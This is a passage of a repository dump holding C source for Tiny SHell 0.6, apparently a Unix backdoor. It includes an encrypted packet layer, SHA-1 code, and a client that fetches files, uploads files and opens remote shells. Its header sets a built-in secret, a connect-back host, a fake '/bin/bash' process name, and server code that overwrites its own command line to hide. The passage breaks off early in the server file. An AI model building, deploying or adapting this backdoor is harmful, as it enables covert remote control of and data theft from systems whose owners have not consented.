PEL_SYSTEM_ERROR; 445 | 446 | return( PEL_FAILURE ); 447 | } 448 | 449 | sum += n; 450 | 451 | offset += n; 452 | } 453 | 454 | pel_errno = PEL_UNDEFINED_ERROR; 455 | 456 | return( PEL_SUCCESS ); 457 | } 458 | -------------------------------------------------------------------------------- /pel.h: -------------------------------------------------------------------------------- 1 | #ifndef _PEL_H 2 | #define _PEL_H 3 | 4 | #define BUFSIZE 4096 /* maximum message length */ 5 | 6 | #define PEL_SUCCESS 1 7 | #define PEL_FAILURE 0 8 | 9 | #define PEL_SYSTEM_ERROR -1 10 | #define PEL_CONN_CLOSED -2 11 | #define PEL_WRONG_CHALLENGE -3 12 | #define PEL_BAD_MSG_LENGTH -4 13 | #define PEL_CORRUPTED_DATA -5 14 | #define PEL_UNDEFINED_ERROR -6 15 | 16 | extern int pel_errno; 17 | 18 | int pel_client_init( int server, char *key ); 19 | int pel_server_init( int client, char *key ); 20 | 21 | int pel_send_msg( int sockfd, unsigned char *msg, int length ); 22 | int pel_recv_msg( int sockfd, unsigned char *msg, int *length ); 23 | 24 | #endif /* pel.h */ 25 | -------------------------------------------------------------------------------- /sha1.c: -------------------------------------------------------------------------------- 1 | /* 2 | * FIPS 180-1 compliant SHA-1 implementation, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include "sha1.h" 9 | 10 | #define GET_UINT32(n,b,i) \ 11 | { \ 12 | (n) = ( (uint32) (b)[(i) ] << 24 ) \ 13 | | ( (uint32) (b)[(i) + 1] << 16 ) \ 14 | | ( (uint32) (b)[(i) + 2] << 8 ) \ 15 | | ( (uint32) (b)[(i) + 3] ); \ 16 | } 17 | 18 | #define PUT_UINT32(n,b,i) \ 19 | { \ 20 | (b)[(i) ] = (uint8) ( (n) >> 24 ); \ 21 | (b)[(i) + 1] = (uint8) ( (n) >> 16 ); \ 22 | (b)[(i) + 2] = (uint8) ( (n) >> 8 ); \ 23 | (b)[(i) + 3] = (uint8) ( (n) ); \ 24 | } 25 | 26 | void sha1_starts( struct sha1_context *ctx ) 27 | { 28 | ctx->total[0] = 0; 29 | ctx->total[1] = 0; 30 | ctx->state[0] = 0x67452301; 31 | ctx->state[1] = 0xEFCDAB89; 32 | ctx->state[2] = 0x98BADCFE; 33 | ctx->state[3] = 0x10325476; 34 | ctx->state[4] = 0xC3D2E1F0; 35 | } 36 | 37 | void sha1_process( struct sha1_context *ctx, uint8 data[64] ) 38 | { 39 | uint32 temp, A, B, C, D, E, W[16]; 40 | 41 | GET_UINT32( W[0], data, 0 ); 42 | GET_UINT32( W[1], data, 4 ); 43 | GET_UINT32( W[2], data, 8 ); 44 | GET_UINT32( W[3], data, 12 ); 45 | GET_UINT32( W[4], data, 16 ); 46 | GET_UINT32( W[5], data, 20 ); 47 | GET_UINT32( W[6], data, 24 ); 48 | GET_UINT32( W[7], data, 28 ); 49 | GET_UINT32( W[8], data, 32 ); 50 | GET_UINT32( W[9], data, 36 ); 51 | GET_UINT32( W[10], data, 40 ); 52 | GET_UINT32( W[11], data, 44 ); 53 | GET_UINT32( W[12], data, 48 ); 54 | GET_UINT32( W[13], data, 52 ); 55 | GET_UINT32( W[14], data, 56 ); 56 | GET_UINT32( W[15], data, 60 ); 57 | 58 | #define S(x,n) ((x << n) | ((x & 0xFFFFFFFF) >> (32 - n))) 59 | 60 | #define R(t) \ 61 | ( \ 62 | temp = W[(t - 3) & 0x0F] ^ W[(t - 8) & 0x0F] ^ \ 63 | W[(t - 14) & 0x0F] ^ W[ t & 0x0F], \ 64 | ( W[t & 0x0F] = S(temp,1) ) \ 65 | ) 66 | 67 | #define P(a,b,c,d,e,x) \ 68 | { \ 69 | e += S(a,5) + F(b,c,d) + K + x; b = S(b,30); \ 70 | } 71 | 72 | A = ctx->state[0]; 73 | B = ctx->state[1]; 74 | C = ctx->state[2]; 75 | D = ctx->state[3]; 76 | E = ctx->state[4]; 77 | 78 | #define F(x,y,z) (z ^ (x & (y ^ z))) 79 | #define K 0x5A827999 80 | 81 | P( A, B, C, D, E, W[0] ); 82 | P( E, A, B, C, D, W[1] ); 83 | P( D, E, A, B, C, W[2] ); 84 | P( C, D, E, A, B, W[3] ); 85 | P( B, C, D, E, A, W[4] ); 86 | P( A, B, C, D, E, W[5] ); 87 | P( E, A, B, C, D, W[6] ); 88 | P( D, E, A, B, C, W[7] ); 89 | P( C, D, E, A, B, W[8] ); 90 | P( B, C, D, E, A, W[9] ); 91 | P( A, B, C, D, E, W[10] ); 92 | P( E, A, B, C, D, W[11] ); 93 | P( D, E, A, B, C, W[12] ); 94 | P( C, D, E, A, B, W[13] ); 95 | P( B, C, D, E, A, W[14] ); 96 | P( A, B, C, D, E, W[15] ); 97 | P( E, A, B, C, D, R(16) ); 98 | P( D, E, A, B, C, R(17) ); 99 | P( C, D, E, A, B, R(18) ); 100 | P( B, C, D, E, A, R(19) ); 101 | 102 | #undef K 103 | #undef F 104 | 105 | #define F(x,y,z) (x ^ y ^ z) 106 | #define K 0x6ED9EBA1 107 | 108 | P( A, B, C, D, E, R(20) ); 109 | P( E, A, B, C, D, R(21) ); 110 | P( D, E, A, B, C, R(22) ); 111 | P( C, D, E, A, B, R(23) ); 112 | P( B, C, D, E, A, R(24) ); 113 | P( A, B, C, D, E, R(25) ); 114 | P( E, A, B, C, D, R(26) ); 115 | P( D, E, A, B, C, R(27) ); 116 | P( C, D, E, A, B, R(28) ); 117 | P( B, C, D, E, A, R(29) ); 118 | P( A, B, C, D, E, R(30) ); 119 | P( E, A, B, C, D, R(31) ); 120 | P( D, E, A, B, C, R(32) ); 121 | P( C, D, E, A, B, R(33) ); 122 | P( B, C, D, E, A, R(34) ); 123 | P( A, B, C, D, E, R(35) ); 124 | P( E, A, B, C, D, R(36) ); 125 | P( D, E, A, B, C, R(37) ); 126 | P( C, D, E, A, B, R(38) ); 127 | P( B, C, D, E, A, R(39) ); 128 | 129 | #undef K 130 | #undef F 131 | 132 | #define F(x,y,z) ((x & y) | (z & (x | y))) 133 | #define K 0x8F1BBCDC 134 | 135 | P( A, B, C, D, E, R(40) ); 136 | P( E, A, B, C, D, R(41) ); 137 | P( D, E, A, B, C, R(42) ); 138 | P( C, D, E, A, B, R(43) ); 139 | P( B, C, D, E, A, R(44) ); 140 | P( A, B, C, D, E, R(45) ); 141 | P( E, A, B, C, D, R(46) ); 142 | P( D, E, A, B, C, R(47) ); 143 | P( C, D, E, A, B, R(48) ); 144 | P( B, C, D, E, A, R(49) ); 145 | P( A, B, C, D, E, R(50) ); 146 | P( E, A, B, C, D, R(51) ); 147 | P( D, E, A, B, C, R(52) ); 148 | P( C, D, E, A, B, R(53) ); 149 | P( B, C, D, E, A, R(54) ); 150 | P( A, B, C, D, E, R(55) ); 151 | P( E, A, B, C, D, R(56) ); 152 | P( D, E, A, B, C, R(57) ); 153 | P( C, D, E, A, B, R(58) ); 154 | P( B, C, D, E, A, R(59) ); 155 | 156 | #undef K 157 | #undef F 158 | 159 | #define F(x,y,z) (x ^ y ^ z) 160 | #define K 0xCA62C1D6 161 | 162 | P( A, B, C, D, E, R(60) ); 163 | P( E, A, B, C, D, R(61) ); 164 | P( D, E, A, B, C, R(62) ); 165 | P( C, D, E, A, B, R(63) ); 166 | P( B, C, D, E, A, R(64) ); 167 | P( A, B, C, D, E, R(65) ); 168 | P( E, A, B, C, D, R(66) ); 169 | P( D, E, A, B, C, R(67) ); 170 | P( C, D, E, A, B, R(68) ); 171 | P( B, C, D, E, A, R(69) ); 172 | P( A, B, C, D, E, R(70) ); 173 | P( E, A, B, C, D, R(71) ); 174 | P( D, E, A, B, C, R(72) ); 175 | P( C, D, E, A, B, R(73) ); 176 | P( B, C, D, E, A, R(74) ); 177 | P( A, B, C, D, E, R(75) ); 178 | P( E, A, B, C, D, R(76) ); 179 | P( D, E, A, B, C, R(77) ); 180 | P( C, D, E, A, B, R(78) ); 181 | P( B, C, D, E, A, R(79) ); 182 | 183 | #undef K 184 | #undef F 185 | 186 | ctx->state[0] += A; 187 | ctx->state[1] += B; 188 | ctx->state[2] += C; 189 | ctx->state[3] += D; 190 | ctx->state[4] += E; 191 | } 192 | 193 | void sha1_update( struct sha1_context *ctx, uint8 *input, uint32 length ) 194 | { 195 | uint32 left, fill; 196 | 197 | if( ! length ) return; 198 | 199 | left = ( ctx->total[0] >> 3 ) & 0x3F; 200 | fill = 64 - left; 201 | 202 | ctx->total[0] += length << 3; 203 | ctx->total[1] += length >> 29; 204 | 205 | ctx->total[0] &= 0xFFFFFFFF; 206 | ctx->total[1] += ctx->total[0] < ( length << 3 ); 207 | 208 | if( left && length >= fill ) 209 | { 210 | memcpy( (void *) (ctx->buffer + left), (void *) input, fill ); 211 | sha1_process( ctx, ctx->buffer ); 212 | length -= fill; 213 | input += fill; 214 | left = 0; 215 | } 216 | 217 | while( length >= 64 ) 218 | { 219 | sha1_process( ctx, input ); 220 | length -= 64; 221 | input += 64; 222 | } 223 | 224 | if( length ) 225 | { 226 | memcpy( (void *) (ctx->buffer + left), (void *) input, length ); 227 | } 228 | } 229 | 230 | static uint8 sha1_padding[64] = 231 | { 232 | 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 233 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 234 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 235 | 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 236 | }; 237 | 238 | void sha1_finish( struct sha1_context *ctx, uint8 digest[20] ) 239 | { 240 | uint32 last, padn; 241 | uint8 msglen[8]; 242 | 243 | PUT_UINT32( ctx->total[1], msglen, 0 ); 244 | PUT_UINT32( ctx->total[0], msglen, 4 ); 245 | 246 | last = ( ctx->total[0] >> 3 ) & 0x3F; 247 | padn = ( last < 56 ) ? ( 56 - last ) : ( 120 - last ); 248 | 249 | sha1_update( ctx, sha1_padding, padn ); 250 | sha1_update( ctx, msglen, 8 ); 251 | 252 | PUT_UINT32( ctx->state[0], digest, 0 ); 253 | PUT_UINT32( ctx->state[1], digest, 4 ); 254 | PUT_UINT32( ctx->state[2], digest, 8 ); 255 | PUT_UINT32( ctx->state[3], digest, 12 ); 256 | PUT_UINT32( ctx->state[4], digest, 16 ); 257 | } 258 | 259 | #ifdef TEST 260 | 261 | #include 262 | #include 263 | 264 | /* 265 | * those are the standard FIPS 180-1 test vectors 266 | */ 267 | 268 | static char *msg[] = 269 | { 270 | "abc", 271 | "abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq", 272 | NULL 273 | }; 274 | 275 | static char *val[] = 276 | { 277 | "a9993e364706816aba3e25717850c26c9cd0d89d", 278 | "84983e441c3bd26ebaae4aa1f95129e5e54670f1", 279 | "34aa973cd4c4daa4f61eeb2bdbad27316534016f" 280 | }; 281 | 282 | int main( int argc, char *argv[] ) 283 | { 284 | FILE *f; 285 | int i, j; 286 | char output[41]; 287 | struct sha1_context ctx; 288 | unsigned char sha1sum[20], buffer[1000]; 289 | 290 | if( argc < 2 ) 291 | { 292 | for( i = 0; i < 3; i++ ) 293 | { 294 | sha1_starts( &ctx ); 295 | 296 | if( i < 2 ) 297 | { 298 | sha1_update( &ctx, (uint8 *) msg[i], strlen( msg[i] ) ); 299 | } 300 | else 301 | { 302 | memset( buffer, 'a', 1000 ); 303 | 304 | for( j = 0; j < 1000; j++ ) 305 | { 306 | sha1_update( &ctx, (uint8 *) buffer, 1000 ); 307 | } 308 | } 309 | 310 | sha1_finish( &ctx, sha1sum ); 311 | 312 | for( j = 0; j < 20; j++ ) 313 | { 314 | sprintf( output + j * 2, "%02x", sha1sum[j] ); 315 | } 316 | 317 | printf( "test %d ", i + 1 ); 318 | 319 | if( ! memcmp( output, val[i], 40 ) ) 320 | { 321 | printf( "passed\n" ); 322 | } 323 | else 324 | { 325 | printf( "failed\n" ); 326 | return( 1 ); 327 | } 328 | } 329 | } 330 | else 331 | { 332 | if( ! ( f = fopen( argv[1], "rb" ) ) ) 333 | { 334 | perror( "fopen" ); 335 | return( 1 ); 336 | } 337 | 338 | sha1_starts( &ctx ); 339 | 340 | while( ( i = fread( buffer, 1, sizeof( buffer ), f ) ) > 0 ) 341 | { 342 | sha1_update( &ctx, buffer, i ); 343 | } 344 | 345 | sha1_finish( &ctx, sha1sum ); 346 | 347 | for( j = 0; j < 20; j++ ) 348 | { 349 | printf( "%02x", sha1sum[j] ); 350 | } 351 | 352 | printf( " %s\n", argv[1] ); 353 | } 354 | 355 | return( 0 ); 356 | } 357 | 358 | #endif 359 | -------------------------------------------------------------------------------- /sha1.h: -------------------------------------------------------------------------------- 1 | #ifndef _SHA1_H 2 | #define _SHA1_H 3 | 4 | #ifndef uint8 5 | #define uint8 unsigned char 6 | #endif 7 | 8 | #ifndef uint32 9 | #define uint32 unsigned long int 10 | #endif 11 | 12 | struct sha1_context 13 | { 14 | uint32 total[2]; 15 | uint32 state[5]; 16 | uint8 buffer[64]; 17 | }; 18 | 19 | void sha1_starts( struct sha1_context *ctx ); 20 | void sha1_update( struct sha1_context *ctx, uint8 *input, uint32 length ); 21 | void sha1_finish( struct sha1_context *ctx, uint8 digest[20] ); 22 | 23 | #endif /* sha1.h */ 24 | -------------------------------------------------------------------------------- /tsh.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Tiny SHell version 0.6 - client side, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | 19 | #include "tsh.h" 20 | #include "pel.h" 21 | 22 | unsigned char message[BUFSIZE + 1]; 23 | 24 | /* function declaration */ 25 | 26 | int tsh_get_file( int server, char *argv3, char *argv4 ); 27 | int tsh_put_file( int server, char *argv3, char *argv4 ); 28 | int tsh_runshell( int server, char *argv2 ); 29 | 30 | void pel_error( char *s ); 31 | 32 | /* program entry point */ 33 | 34 | int main( int argc, char *argv[] ) 35 | { 36 | int ret, client, server, n; 37 | struct sockaddr_in server_addr; 38 | struct sockaddr_in client_addr; 39 | struct hostent *server_host; 40 | char action, *password; 41 | 42 | action = 0; 43 | 44 | password = NULL; 45 | 46 | /* check the arguments */ 47 | 48 | if( argc == 5 && ! strcmp( argv[2], "get" ) ) 49 | { 50 | action = GET_FILE; 51 | } 52 | 53 | if( argc == 5 && ! strcmp( argv[2], "put" ) ) 54 | { 55 | action = PUT_FILE; 56 | } 57 | 58 | if( argc == 2 || argc == 3 ) 59 | { 60 | action = RUNSHELL; 61 | } 62 | 63 | if( action == 0 ) return( 1 ); 64 | 65 | connect: 66 | 67 | if( strcmp( argv[1], "cb" ) != 0 ) 68 | { 69 | /* create a socket */ 70 | 71 | server = socket( AF_INET, SOCK_STREAM, 0 ); 72 | 73 | if( server < 0 ) 74 | { 75 | perror( "socket" ); 76 | return( 2 ); 77 | } 78 | 79 | /* resolve the server hostname */ 80 | 81 | server_host = gethostbyname( argv[1] ); 82 | 83 | if( server_host == NULL ) 84 | { 85 | fprintf( stderr, "gethostbyname failed.\n" ); 86 | return( 3 ); 87 | } 88 | 89 | memcpy( (void *) &server_addr.sin_addr, 90 | (void *) server_host->h_addr, 91 | server_host->h_length ); 92 | 93 | server_addr.sin_family = AF_INET; 94 | server_addr.sin_port = htons( SERVER_PORT ); 95 | 96 | /* connect to the remote host */ 97 | 98 | ret = connect( server, (struct sockaddr *) &server_addr, 99 | sizeof( server_addr ) ); 100 | 101 | if( ret < 0 ) 102 | { 103 | perror( "connect" ); 104 | return( 4 ); 105 | } 106 | } 107 | else 108 | { 109 | /* create a socket */ 110 | 111 | client = socket( AF_INET, SOCK_STREAM, 0 ); 112 | 113 | if( client < 0 ) 114 | { 115 | perror( "socket" ); 116 | return( 5 ); 117 | } 118 | 119 | /* bind the client on the port the server will connect to */ 120 | 121 | n = 1; 122 | 123 | ret = setsockopt( client, SOL_SOCKET, SO_REUSEADDR, 124 | (void *) &n, sizeof( n ) ); 125 | 126 | if( ret < 0 ) 127 | { 128 | perror( "setsockopt" ); 129 | return( 6 ); 130 | } 131 | 132 | client_addr.sin_family = AF_INET; 133 | client_addr.sin_port = htons( SERVER_PORT ); 134 | client_addr.sin_addr.s_addr = INADDR_ANY; 135 | 136 | ret = bind( client, (struct sockaddr *) &client_addr, 137 | sizeof( client_addr ) ); 138 | 139 | if( ret < 0 ) 140 | { 141 | perror( "bind" ); 142 | return( 7 ); 143 | } 144 | 145 | if( listen( client, 5 ) < 0 ) 146 | { 147 | perror( "listen" ); 148 | return( 8 ); 149 | } 150 | 151 | fprintf( stderr, "Waiting for the server to connect..." ); 152 | fflush( stderr ); 153 | 154 | n = sizeof( server_addr ); 155 | 156 | server = accept( client, (struct sockaddr *) 157 | &server_addr, &n ); 158 | 159 | if( server < 0 ) 160 | { 161 | perror( "accept" ); 162 | return( 9 ); 163 | } 164 | 165 | fprintf( stderr, "connected.\n" ); 166 | 167 | close( client ); 168 | } 169 | 170 | /* setup the packet encryption layer */ 171 | 172 | if( password == NULL ) 173 | { 174 | /* 1st try, using the built-in secret key */ 175 | 176 | ret = pel_client_init( server, secret ); 177 | 178 | if( ret != PEL_SUCCESS ) 179 | { 180 | close( server ); 181 | 182 | /* secret key invalid, so ask for a password */ 183 | 184 | password = getpass( "Password: " ); 185 | goto connect; 186 | } 187 | } 188 | else 189 | { 190 | /* 2nd try, with the user's password */ 191 | 192 | ret = pel_client_init( server, password ); 193 | 194 | memset( password, 0, strlen( password ) ); 195 | 196 | if( ret != PEL_SUCCESS ) 197 | { 198 | /* password invalid, exit */ 199 | 200 | fprintf( stderr, "Authentication failed.\n" ); 201 | shutdown( server, 2 ); 202 | return( 10 ); 203 | } 204 | 205 | } 206 | 207 | /* send the action requested by the user */ 208 | 209 | ret = pel_send_msg( server, (unsigned char *) &action, 1 ); 210 | 211 | if( ret != PEL_SUCCESS ) 212 | { 213 | pel_error( "pel_send_msg" ); 214 | shutdown( server, 2 ); 215 | return( 11 ); 216 | } 217 | 218 | /* howdy */ 219 | 220 | switch( action ) 221 | { 222 | case GET_FILE: 223 | 224 | ret = tsh_get_file( server, argv[3], argv[4] ); 225 | break; 226 | 227 | case PUT_FILE: 228 | 229 | ret = tsh_put_file( server, argv[3], argv[4] ); 230 | break; 231 | 232 | case RUNSHELL: 233 | 234 | ret = ( ( argc == 3 ) 235 | ? tsh_runshell( server, argv[2] ) 236 | : tsh_runshell( server, "exec bash --login" ) ); 237 | break; 238 | 239 | default: 240 | 241 | ret = -1; 242 | break; 243 | } 244 | 245 | shutdown( server, 2 ); 246 | 247 | return( ret ); 248 | } 249 | 250 | int tsh_get_file( int server, char *argv3, char *argv4 ) 251 | { 252 | char *temp, *pathname; 253 | int ret, len, fd, total; 254 | 255 | /* send remote filename */ 256 | 257 | len = strlen( argv3 ); 258 | 259 | ret = pel_send_msg( server, (unsigned char *) argv3, len ); 260 | 261 | if( ret != PEL_SUCCESS ) 262 | { 263 | pel_error( "pel_send_msg" ); 264 | return( 12 ); 265 | } 266 | 267 | /* create local file */ 268 | 269 | temp = strrchr( argv3, '/' ); 270 | 271 | if( temp != NULL ) temp++; 272 | if( temp == NULL ) temp = argv3; 273 | 274 | len = strlen( argv4 ); 275 | 276 | pathname = (char *) malloc( len + strlen( temp ) + 2 ); 277 | 278 | if( pathname == NULL ) 279 | { 280 | perror( "malloc" ); 281 | return( 13 ); 282 | } 283 | 284 | strcpy( pathname, argv4 ); 285 | strcpy( pathname + len, "/" ); 286 | strcpy( pathname + len + 1, temp ); 287 | 288 | fd = creat( pathname, 0644 ); 289 | 290 | if( fd < 0 ) 291 | { 292 | perror( "creat" ); 293 | return( 14 ); 294 | } 295 | 296 | free( pathname ); 297 | 298 | /* transfer from server */ 299 | 300 | total = 0; 301 | 302 | while( 1 ) 303 | { 304 | ret = pel_recv_msg( server, message, &len ); 305 | 306 | if( ret != PEL_SUCCESS ) 307 | { 308 | if( pel_errno == PEL_CONN_CLOSED && total > 0 ) 309 | { 310 | break; 311 | } 312 | 313 | pel_error( "pel_recv_msg" ); 314 | fprintf( stderr, "Transfer failed.\n" ); 315 | return( 15 ); 316 | } 317 | 318 | if( write( fd, message, len ) != len ) 319 | { 320 | perror( "write" ); 321 | return( 16 ); 322 | } 323 | 324 | total += len; 325 | 326 | printf( "%d\r", total ); 327 | fflush( stdout ); 328 | } 329 | 330 | printf( "%d done.\n", total ); 331 | 332 | return( 0 ); 333 | } 334 | 335 | int tsh_put_file( int server, char *argv3, char *argv4 ) 336 | { 337 | char *temp, *pathname; 338 | int ret, len, fd, total; 339 | 340 | /* send remote filename */ 341 | 342 | temp = strrchr( argv3, '/' ); 343 | 344 | if( temp != NULL ) temp++; 345 | if( temp == NULL ) temp = argv3; 346 | 347 | len = strlen( argv4 ); 348 | 349 | pathname = (char *) malloc( len + strlen( temp ) + 2 ); 350 | 351 | if( pathname == NULL ) 352 | { 353 | perror( "malloc" ); 354 | return( 17 ); 355 | } 356 | 357 | strcpy( pathname, argv4 ); 358 | strcpy( pathname + len, "/" ); 359 | strcpy( pathname + len + 1, temp ); 360 | 361 | len = strlen( pathname ); 362 | 363 | ret = pel_send_msg( server, (unsigned char *) pathname, len ); 364 | 365 | if( ret != PEL_SUCCESS ) 366 | { 367 | pel_error( "pel_send_msg" ); 368 | return( 18 ); 369 | } 370 | 371 | free( pathname ); 372 | 373 | /* open local file */ 374 | 375 | fd = open( argv3, O_RDONLY ); 376 | 377 | if( fd < 0 ) 378 | { 379 | perror( "open" ); 380 | return( 19 ); 381 | } 382 | 383 | /* transfer to server */ 384 | 385 | total = 0; 386 | 387 | while( 1 ) 388 | { 389 | len = read( fd, message, BUFSIZE ); 390 | 391 | if( len < 0 ) 392 | { 393 | perror( "read" ); 394 | return( 20 ); 395 | } 396 | 397 | if( len == 0 ) 398 | { 399 | break; 400 | } 401 | 402 | ret = pel_send_msg( server, message, len ); 403 | 404 | if( ret != PEL_SUCCESS ) 405 | { 406 | pel_error( "pel_send_msg" ); 407 | fprintf( stderr, "Transfer failed.\n" ); 408 | return( 21 ); 409 | } 410 | 411 | total += len; 412 | 413 | printf( "%d\r", total ); 414 | fflush( stdout ); 415 | } 416 | 417 | printf( "%d done.\n", total ); 418 | 419 | return( 0 ); 420 | } 421 | 422 | int tsh_runshell( int server, char *argv2 ) 423 | { 424 | fd_set rd; 425 | char *term; 426 | int ret, len, imf; 427 | struct winsize ws; 428 | struct termios tp, tr; 429 | 430 | /* send the TERM environment variable */ 431 | 432 | term = getenv( "TERM" ); 433 | 434 | if( term == NULL ) 435 | { 436 | term = "vt100"; 437 | } 438 | 439 | len = strlen( term ); 440 | 441 | ret = pel_send_msg( server, (unsigned char *) term, len ); 442 | 443 | if( ret != PEL_SUCCESS ) 444 | { 445 | pel_error( "pel_send_msg" ); 446 | return( 22 ); 447 | } 448 | 449 | /* send the window size */ 450 | 451 | imf = 0; 452 | 453 | if( isatty( 0 ) ) 454 | { 455 | /* set the interactive mode flag */ 456 | 457 | imf = 1; 458 | 459 | if( ioctl( 0, TIOCGWINSZ, &ws ) < 0 ) 460 | { 461 | perror( "ioctl(TIOCGWINSZ)" ); 462 | return( 23 ); 463 | } 464 | } 465 | else 466 | { 467 | /* fallback on standard settings */ 468 | 469 | ws.ws_row = 25; 470 | ws.ws_col = 80; 471 | } 472 | 473 | message[0] = ( ws.ws_row >> 8 ) & 0xFF; 474 | message[1] = ( ws.ws_row ) & 0xFF; 475 | 476 | message[2] = ( ws.ws_col >> 8 ) & 0xFF; 477 | message[3] = ( ws.ws_col ) & 0xFF; 478 | 479 | ret = pel_send_msg( server, message, 4 ); 480 | 481 | if( ret != PEL_SUCCESS ) 482 | { 483 | pel_error( "pel_send_msg" ); 484 | return( 24 ); 485 | } 486 | 487 | /* send the system command */ 488 | 489 | len = strlen( argv2 ); 490 | 491 | ret = pel_send_msg( server, (unsigned char *) argv2, len ); 492 | 493 | if( ret != PEL_SUCCESS ) 494 | { 495 | pel_error( "pel_send_msg" ); 496 | return( 25 ); 497 | } 498 | 499 | /* set the tty to RAW */ 500 | 501 | if( isatty( 1 ) ) 502 | { 503 | if( tcgetattr( 1, &tp ) < 0 ) 504 | { 505 | perror( "tcgetattr" ); 506 | return( 26 ); 507 | } 508 | 509 | memcpy( (void *) &tr, (void *) &tp, sizeof( tr ) ); 510 | 511 | tr.c_iflag |= IGNPAR; 512 | tr.c_iflag &= ~(ISTRIP|INLCR|IGNCR|ICRNL|IXON|IXANY|IXOFF); 513 | tr.c_lflag &= ~(ISIG|ICANON|ECHO|ECHOE|ECHOK|ECHONL|IEXTEN); 514 | tr.c_oflag &= ~OPOST; 515 | 516 | tr.c_cc[VMIN] = 1; 517 | tr.c_cc[VTIME] = 0; 518 | 519 | if( tcsetattr( 1, TCSADRAIN, &tr ) < 0 ) 520 | { 521 | perror( "tcsetattr" ); 522 | return( 27 ); 523 | } 524 | } 525 | 526 | /* let's forward the data back and forth */ 527 | 528 | while( 1 ) 529 | { 530 | FD_ZERO( &rd ); 531 | 532 | if( imf != 0 ) 533 | { 534 | FD_SET( 0, &rd ); 535 | } 536 | 537 | FD_SET( server, &rd ); 538 | 539 | if( select( server + 1, &rd, NULL, NULL, NULL ) < 0 ) 540 | { 541 | perror( "select" ); 542 | ret = 28; 543 | break; 544 | } 545 | 546 | if( FD_ISSET( server, &rd ) ) 547 | { 548 | ret = pel_recv_msg( server, message, &len ); 549 | 550 | if( ret != PEL_SUCCESS ) 551 | { 552 | if( pel_errno == PEL_CONN_CLOSED ) 553 | { 554 | ret = 0; 555 | } 556 | else 557 | { 558 | pel_error( "pel_recv_msg" ); 559 | ret = 29; 560 | } 561 | break; 562 | } 563 | 564 | if( write( 1, message, len ) != len ) 565 | { 566 | perror( "write" ); 567 | ret = 30; 568 | break; 569 | } 570 | } 571 | 572 | if( imf != 0 && FD_ISSET( 0, &rd ) ) 573 | { 574 | len = read( 0, message, BUFSIZE ); 575 | 576 | if( len == 0 ) 577 | { 578 | fprintf( stderr, "stdin: end-of-file\n" ); 579 | ret = 31; 580 | break; 581 | } 582 | 583 | if( len < 0 ) 584 | { 585 | perror( "read" ); 586 | ret = 32; 587 | break; 588 | } 589 | 590 | ret = pel_send_msg( server, message, len ); 591 | 592 | if( ret != PEL_SUCCESS ) 593 | { 594 | pel_error( "pel_send_msg" ); 595 | ret = 33; 596 | break; 597 | } 598 | } 599 | } 600 | 601 | /* restore the terminal attributes */ 602 | 603 | if( isatty( 1 ) ) 604 | { 605 | tcsetattr( 1, TCSADRAIN, &tp ); 606 | } 607 | 608 | return( ret ); 609 | } 610 | 611 | void pel_error( char *s ) 612 | { 613 | switch( pel_errno ) 614 | { 615 | case PEL_CONN_CLOSED: 616 | 617 | fprintf( stderr, "%s: Connection closed.\n", s ); 618 | break; 619 | 620 | case PEL_SYSTEM_ERROR: 621 | 622 | perror( s ); 623 | break; 624 | 625 | case PEL_WRONG_CHALLENGE: 626 | 627 | fprintf( stderr, "%s: Wrong challenge.\n", s ); 628 | break; 629 | 630 | case PEL_BAD_MSG_LENGTH: 631 | 632 | fprintf( stderr, "%s: Bad message length.\n", s ); 633 | break; 634 | 635 | case PEL_CORRUPTED_DATA: 636 | 637 | fprintf( stderr, "%s: Corrupted data.\n", s ); 638 | break; 639 | 640 | case PEL_UNDEFINED_ERROR: 641 | 642 | fprintf( stderr, "%s: No error.\n", s ); 643 | break; 644 | 645 | default: 646 | 647 | fprintf( stderr, "%s: Unknown error code.\n", s ); 648 | break; 649 | } 650 | } 651 | -------------------------------------------------------------------------------- /tsh.h: -------------------------------------------------------------------------------- 1 | #ifndef _TSH_H 2 | #define _TSH_H 3 | 4 | char *secret = "replace with your password"; 5 | 6 | #define SERVER_PORT 7586 7 | #define FAKE_PROC_NAME "/bin/bash" 8 | 9 | #define CONNECT_BACK_HOST "localhost" 10 | #define CONNECT_BACK_DELAY 30 11 | 12 | #define GET_FILE 1 13 | #define PUT_FILE 2 14 | #define RUNSHELL 3 15 | 16 | #endif /* tsh.h */ 17 | -------------------------------------------------------------------------------- /tshd.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Tiny SHell version 0.6 - server side, 3 | * by Christophe Devine ; 4 | * this program is licensed under the GPL. 5 | */ 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | /* PTY support requires system-specific #include */ 21 | 22 | #if defined LINUX || defined OSF 23 | #include 24 | #else 25 | #if defined FREEBSD 26 | #include 27 | #else 28 | #if defined OPENBSD 29 | #include 30 | #else 31 | #if defined SUNOS || defined HPUX 32 | #include 33 | #else 34 | #if ! defined CYGWIN && ! defined IRIX 35 | #error Undefined host system 36 | #endif 37 | #endif 38 | #endif 39 | #endif 40 | #endif 41 | 42 | #include "tsh.h" 43 | #include "pel.h" 44 | 45 | unsigned char message[BUFSIZE + 1]; 46 | 47 | /* function declaration */ 48 | 49 | int tshd_get_file( int client ); 50 | int tshd_put_file( int client ); 51 | int tshd_runshell( int client ); 52 | 53 | /* program entry point */ 54 | 55 | int main( int argc,char **argv ) 56 | { 57 | int ret, len, pid, n; 58 | 59 | #ifndef CONNECT_BACK_HOST 60 | 61 | int client, server; 62 | struct sockaddr_in server_addr; 63 | struct sockaddr_in client_addr; 64 | 65 | #else 66 | 67 | int client; 68 | struct sockaddr_in client_addr; 69 | struct hostent *client_host; 70 | 71 | #endif 72 | /* overwrite cmdline */ 73 | memset((void *)argv[0], '\0', strlen(argv[0])); 74 | 